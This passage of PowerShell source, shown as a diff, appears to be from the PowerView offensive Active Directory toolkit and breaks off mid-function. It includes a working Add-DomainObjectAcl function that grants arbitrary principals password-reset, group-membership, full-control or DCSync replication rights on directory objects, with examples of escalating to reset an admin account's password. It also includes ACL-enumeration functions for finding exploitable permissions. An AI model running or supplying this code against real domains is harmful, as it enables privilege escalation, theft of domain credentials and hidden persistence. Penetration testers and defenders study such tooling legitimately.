+Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Sacl + +Switch. Return the SACL instead of the DACL for the object (default behavior). + +.PARAMETER ResolveGUIDs + +Switch. Resolve GUIDs to their display names. + +.PARAMETER RightsFilter + +A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs + +Get the ACLs for the matt.admin user in the testlab.local domain and +resolve relevant GUIDs to their display names. + +.EXAMPLE + +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs + +Enumerate the ACL permissions for all OUs in the domain. + +.EXAMPLE + +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl + +Enumerate the SACLs for all OUs in the domain, resolving GUIDs. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs + +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [Switch] + $Sacl, + + [Switch] + $ResolveGUIDs, + + [String] + [Alias('Rights')] + [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + $RightsFilter, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' + } + + if ($PSBoundParameters['Sacl']) { + $SearcherArguments['SecurityMasks'] = 'Sacl' + } + else { + $SearcherArguments['SecurityMasks'] = 'Dacl' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + + $DomainGUIDMapArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } + + # get a GUID -> name mapping + if ($PSBoundParameters['ResolveGUIDs']) { + $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments + } + } + + PROCESS { + if ($Searcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $Searcher = Get-DomainSearcher @SearcherArguments + if (-not $Searcher) { + Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + if ($Filter) { + $Searcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)" + + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Object = $_.Properties + + if ($Object.objectsid -and $Object.objectsid[0]) { + $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + } + else { + $ObjectSid = $Null + } + + try { + New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { + if ($PSBoundParameters['RightsFilter']) { + $GuidFilter = Switch ($RightsFilter) { + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + Default { '00000000-0000-0000-0000-000000000000' } + } + if ($_.ObjectType -eq $GuidFilter) { + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $Continue = $True + } + } + else { + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $Continue = $True + } + + if ($Continue) { + $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) + if ($GUIDs) { + # if we're resolving GUIDs, map them them to the resolved hash table + $AclProperties = @{} + $_.psobject.properties | ForEach-Object { + if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') { + try { + $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()] + } + catch { + $AclProperties[$_.Name] = $_.Value + } + } + else { + $AclProperties[$_.Name] = $_.Value + } + } + $OutObject = New-Object -TypeName PSObject -Property $AclProperties + $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $OutObject + } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $_ + } + } + } + } + catch { + Write-Verbose "[Get-DomainObjectAcl] Error: $_" + } + } + } + } +} + + +function Add-DomainObjectAcl { +<# +.SYNOPSIS + +Adds an ACL for a specific active directory object. + +AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +This function modifies the ACL/ACE entries for a given Active Directory +target object specified by -TargetIdentity. Available -Rights are +'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended +rights GUID can be set with -RightsGUID. These rights are granted on the target +object for the specified -PrincipalIdentity. + +.PARAMETER TargetIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain object to modify ACLs for. Required. Wildcards accepted. + +.PARAMETER TargetDomain + +Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. + +.PARAMETER TargetLDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory object targets. + +.PARAMETER TargetSearchBase + +The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Rights + +Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. +Defaults to 'All'. + +.PARAMETER RightsGUID + +Manual GUID representing the right to add to the target. + +.EXAMPLE + +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +... + +Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a))) +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +.EXAMPLE + +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +[no results returned] + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y)))) +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +.LINK + +https://adsecurity.org/?p=1906 +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $TargetIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $TargetDomain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $TargetLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $TargetSearchBase, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $PrincipalIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $PrincipalDomain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] + [String] + $Rights = 'All', + + [Guid] + $RightsGUID + ) + + BEGIN { + $TargetSearcherArguments = @{ + 'Properties' = 'distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } + if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } + if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } + if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } + + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principals = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principals) { + throw "Unable to resolve principal: $PrincipalIdentity" + } + } + + PROCESS { + $TargetSearcherArguments['Identity'] = $TargetIdentity + $Targets = Get-DomainObject @TargetSearcherArguments + + ForEach ($TargetObject in $Targets) { + + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' + $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' + $ACEs = @() + + if ($RightsGUID) { + $GUIDs = @($RightsGUID) + } + else { + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + # allows for the modification of group membership + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} + } + } + + ForEach ($PrincipalObject in $Principals) { + Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)" + + try { + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) + + if ($GUIDs) { + ForEach ($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType + } + } + else { + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType + } + + # add all the new ACEs to the specified object directory entry + ForEach ($ACE in $ACEs) { + Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" + $TargetEntry = $TargetObject.GetDirectoryEntry() + $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' + $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) + $TargetEntry.PsBase.CommitChanges() + } + } + catch { + Write-Warning "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_" + } + } + } + } +} + + +function Find-InterestingDomainAcl { +<# +.SYNOPSIS + +Finds object ACLs in the current (or specified) domain with modification +rights set to non-built in objects. + +Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName + +.DESCRIPTION + +This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, +and for each returned ACE entry it checks if principal security identifier +is *-1000 (meaning the account is not built in), and also checks if the rights for +the ACE mean the object can be modified by the principal. If these conditions are met, +then the security identifier SID is translated, the domain object is retrieved, and +additional IdentityReference* information is appended to the output object. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER ResolveGUIDs + +Switch. Resolve GUIDs to their display names. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Find-InterestingDomainAcl + +Finds interesting object ACLS in the current domain. + +.EXAMPLE + +Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs + +Finds interesting object ACLS in the ev.testlab.local domain and +resolves rights GUIDs to display names. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs + +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DomainName', 'Name')] + [String] + $Domain, + + [Switch] + $ResolveGUIDs, + + [String] + [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + $RightsFilter, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ACLArguments = @{} + if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs } + if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter } + if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } + + $ObjectSearcherArguments = @{ + 'Properties' = 'samaccountname,objectclass' + 'Raw' = $True + } + if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential } + + $ADNameArguments = @{} + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + + # ongoing list of built-up SIDs + $ResolvedSIDs = @{} + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $ACLArguments['Domain'] = $Domain + $ADNameArguments['Domain'] = $Domain + } + + Get-DomainObjectAcl @ACLArguments | ForEach-Object { + + if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { + # only process SIDs > 1000 + if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { + if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { + $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] + + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL + } + else { + $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments + # "IdentityReferenceDN: $IdentityReferenceDN" + + if ($IdentityReferenceDN) { + $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + # "IdentityReferenceDomain: $IdentityReferenceDomain" + $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain + $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN + # "IdentityReferenceDN: $IdentityReferenceDN" + $Object = Get-DomainObject @ObjectSearcherArguments + + if ($Object) { + 